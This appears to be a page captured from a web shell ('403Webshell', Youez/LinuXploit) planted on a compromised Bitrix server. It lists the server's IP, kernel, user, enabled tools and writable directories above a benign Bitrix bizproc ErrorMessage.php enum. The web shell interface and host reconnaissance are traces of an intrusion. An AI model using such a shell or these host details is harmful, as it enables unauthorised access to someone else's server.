403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/Api/Enum/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/Api/Enum/ErrorMessage.php
<?php

namespace Bitrix\Bizproc\Api\Enum;

use Bitrix\Main\Localization\Loc;
use Bitrix\Bizproc\Error;

Loc::loadMessages(__FILE__);

enum ErrorMessage: string
{
	case BP_NO_ACCESS = 'BP_NO_ACCESS';
	case ROBOTS_NO_ACCESS = 'ROBOTS_NO_ACCESS';
	case TEMPLATE_NO_PRERMISSIONS = 'TEMPLATE_NO_PRERMISSIONS';
	case START_ACCESS_DENIED = 'START_ACCESS_DENIED';
	case VIEW_RIGHTS_ERROR = 'VIEW_RIGHTS_ERROR';
	case RESULT_NO_RIGHTS_VIEW = 'RESULT_NO_RIGHTS_VIEW';
	case ACCESS_DENIED = 'ACCESS_DENIED';
	case ENTITY_NOT_FOUND = 'ENTITY_NOT_FOUND';
	case BP_NOT_FOUND = 'BP_NOT_FOUND';
	case TASK_NOT_FOUND = 'TASK_NOT_FOUND';
	case ACTIVITY_ERROR = 'ACTIVITY_ERROR';
	case NO_ENTITY = 'NO_ENTITY';
	case EMPTY_DOCUMENT = 'EMPTY_DOCUMENT';
	case USER_NOT_FOUND = 'USER_NOT_FOUND';
	case ACTIVITY_NOT_FOUND = 'ACTIVITY_NOT_FOUND';
	case TEMPLATE_NOT_FOUND = 'TEMPLATE_NOT_FOUND';
	case ENTITY_NOT_EXISTS = 'ENTITY_NOT_EXISTS';
	case INVALID_TYPE = 'INVALID_TYPE';
	case INVALID_FILE = 'INVALID_FILE';
	case EMPTY_TEMPLATE = 'EMPTY_TEMPLATE';
	case EMPTY_PROP = 'EMPTY_PROP';
	case INVALID_PARAM_TYPE = 'INVALID_PARAM_TYPE';
	case INVALID_PARAM_ARG = 'INVALID_PARAM_ARG';
	case PARAM_REQUIRED = 'PARAM_REQUIRED';
	case MODULE_NOT_INSTALLED = 'MODULE_NOT_INSTALLED';
	case WRONG_TEMPLATE = 'WRONG_TEMPLATE';
	case UNKNOWN_ERROR = 'UNKNOWN_ERROR';
	case DOCUMENT_TYPE_ERROR = 'DOCUMENT_TYPE_ERROR';
	case GET_DATA_ERROR = 'GET_DATA_ERROR';
	case CREATE_WORKFLOW = 'CREATE_WORKFLOW';
	case INVALID_USER_ID = 'INVALID_USER_ID';
	case IMPORT_ACCESS_DENIED = 'IMPORT_ACCESS_DENIED';
	case EXPORT_ACCESS_DENIED = 'EXPORT_ACCESS_DENIED';

	public function get(array $replace = []): string
	{
		return match ($this) {
			//ACCESS_DENIED
			self::BP_NO_ACCESS => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_BP_NO_ACCESS'),
			self::ROBOTS_NO_ACCESS => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_ROBOTS_NO_ACCESS'),
			self::TEMPLATE_NO_PRERMISSIONS => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_TEMPLATE_NO_PRERMISSIONS'),
			self::START_ACCESS_DENIED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_START_ACCESS_DENIED'),
			self::VIEW_RIGHTS_ERROR => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_VIEW_RIGHTS_ERROR'),
			self::RESULT_NO_RIGHTS_VIEW => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_RESULT_NO_RIGHTS_VIEW'),
			self::ACCESS_DENIED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_ACCESS_DENIED'),
			self::DOCUMENT_TYPE_ERROR => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_DOCUMENT_TYPE_ERROR'),
			self::IMPORT_ACCESS_DENIED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_IMPORT_ACCESS_DENIED'),
			self::EXPORT_ACCESS_DENIED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_EXPORT_ACCESS_DENIED'),

			//NOT_FOUND
			self::BP_NOT_FOUND => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_BP_NOT_FOUND'),
			self::TASK_NOT_FOUND => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_TASK_NOT_FOUND'),
			self::NO_ENTITY => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_NO_ENTITY'),
			self::EMPTY_DOCUMENT => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_EMPTY_DOCUMENT'),
			self::USER_NOT_FOUND => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_USER_NOT_FOUND', $replace),
			self::ACTIVITY_NOT_FOUND => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_ACTIVITY_NOT_FOUND', $replace),
			self::TEMPLATE_NOT_FOUND => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_TEMPLATE_NOT_FOUND', $replace),
			self::ENTITY_NOT_EXISTS => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_ENTITY_NOT_EXISTS'),
			self::GET_DATA_ERROR => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_GET_DATA_ERROR'),
			self::CREATE_WORKFLOW => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_CREATE_WORKFLOW'),
			self::INVALID_USER_ID => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_INVALID_USER_ID'),

			//VALIDATION
			self::INVALID_TYPE => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_INVALID_TYPE'),
			self::INVALID_FILE => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_INVALID_FILE'),
			self::EMPTY_TEMPLATE => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_EMPTY_TEMPLATE', $replace),
			self::EMPTY_PROP => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_EMPTY_PROP', $replace),
			self::INVALID_PARAM_TYPE => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_INVALID_PARAM_TYPE', $replace),
			self::INVALID_PARAM_ARG => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_INVALID_PARAM_ARG', $replace),
			self::PARAM_REQUIRED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_PARAM_REQUIRED', $replace),

			//SYSTEM
			self::MODULE_NOT_INSTALLED => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_MODULE_NOT_INSTALLED'),
			self::WRONG_TEMPLATE => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_WRONG_TEMPLATE'),
			self::UNKNOWN_ERROR => Loc::getMessage('BIZPROC_API_ENUM_ERRORS_UNKNOWN_ERROR'),
		};
	}

	public function getError(array $replace = [], $code = 0, $customData = null): Error
	{
		return new Error($this->get($replace), $code, $customData);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit